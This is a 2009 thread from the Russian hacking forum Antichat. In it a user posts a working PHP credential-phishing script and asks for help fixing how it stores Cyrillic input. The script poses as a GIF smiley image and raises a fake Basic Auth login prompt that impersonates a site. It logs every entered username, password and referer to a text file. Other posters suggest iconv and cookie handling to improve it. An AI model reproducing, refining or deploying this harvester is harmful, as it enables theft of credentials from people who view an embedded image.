Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

09.11.2009, 23:04
|
|
Участник форума
Регистрация: 06.03.2007
Сообщений: 283
Провел на форуме: 1547094
Репутация:
120
|
|
Помогите исправить скрипт
Проблема в том, что если в окошко ввести логин или пароль русским то оно сохранится в файле в таком виде "сугдея"
как такое можно исправить? или может можно как не будь перевести из "сугдея" в русское слово?
PHP код:
<?
//делаем скрипт картинкой
header("Content-type: image/gif");
//делаем изображение смайликом из архива
$image = imagecreatefromgif('mellow.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
//Авторизация пройдёт, если пароль больше 3-ёх символов и вообще написан логин
if(strlen($pass) <= 3 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="world-of-love.ru - login"');
}
elseif($login)
{
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
setcookie('LOGON',md5($pass));
//запишем пароли в файл
$f = fopen('passwords.txt', 'ab'); //passwords.txt
fwrite($f, date("h:i:s")." > REFERER: ".getenv("HTTP_REFERER")." := ".$login.":=".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
fclose($f);
}
}
imagegif($image);
imagedestroy($image);
?>
|
|
|

09.11.2009, 23:10
|
|
Участник форума
Регистрация: 21.09.2008
Сообщений: 148
Провел на форуме: 678893
Репутация:
102
|
|
к $login и $pass применяй iconv
|
|
|

09.11.2009, 23:18
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Сообщение от Epic wave
sleep(); не?
A sleep(); тут при чем?
xaker-boss, меняй кодировку iconv()
А сугдея - это сугдея.
|
|
|

09.11.2009, 23:20
|
|
Участник форума
Регистрация: 06.03.2007
Сообщений: 283
Провел на форуме: 1547094
Репутация:
120
|
|
Failure mailbrush а можете применить это к моему скрипту? просто я не фига не шарю в php
Последний раз редактировалось xaker-boss; 09.11.2009 в 23:27..
|
|
|

09.11.2009, 23:30
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Сообщение от xaker-boss
Failure mailbrush а можете применить это к моему скрипту? просто я не фига не шарю в php
php.net/iconv
|
|
|

10.11.2009, 00:01
|
|
Постоянный
Регистрация: 04.04.2008
Сообщений: 527
Провел на форуме: 1494768
Репутация:
272
|
|
mailbrush, не подскажешь?
|
|
|

10.11.2009, 01:21
|
|
Участник форума
Регистрация: 01.08.2009
Сообщений: 183
Провел на форуме: 1483264
Репутация:
131
|
|
Сообщение от Andres
Как-то много написано..легче нельзя?
Проставляй юзеру куки
И погугли
|
|
|

10.11.2009, 01:54
|
|
Постоянный
Регистрация: 04.04.2008
Сообщений: 527
Провел на форуме: 1494768
Репутация:
272
|
|
Сообщение от DeluxeS
Проставляй юзеру куки
И погугли
гуглил..((
|
|
|

10.11.2009, 02:07
|
|
Участник форума
Регистрация: 01.08.2009
Сообщений: 183
Провел на форуме: 1483264
Репутация:
131
|
|
Сообщение от Andres
гуглил..((
http://www.php.su/functions/?setcookie

|
|
|

10.11.2009, 02:31
|
|
Постоянный
Регистрация: 04.04.2008
Сообщений: 527
Провел на форуме: 1494768
Репутация:
272
|
|
thanks)
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|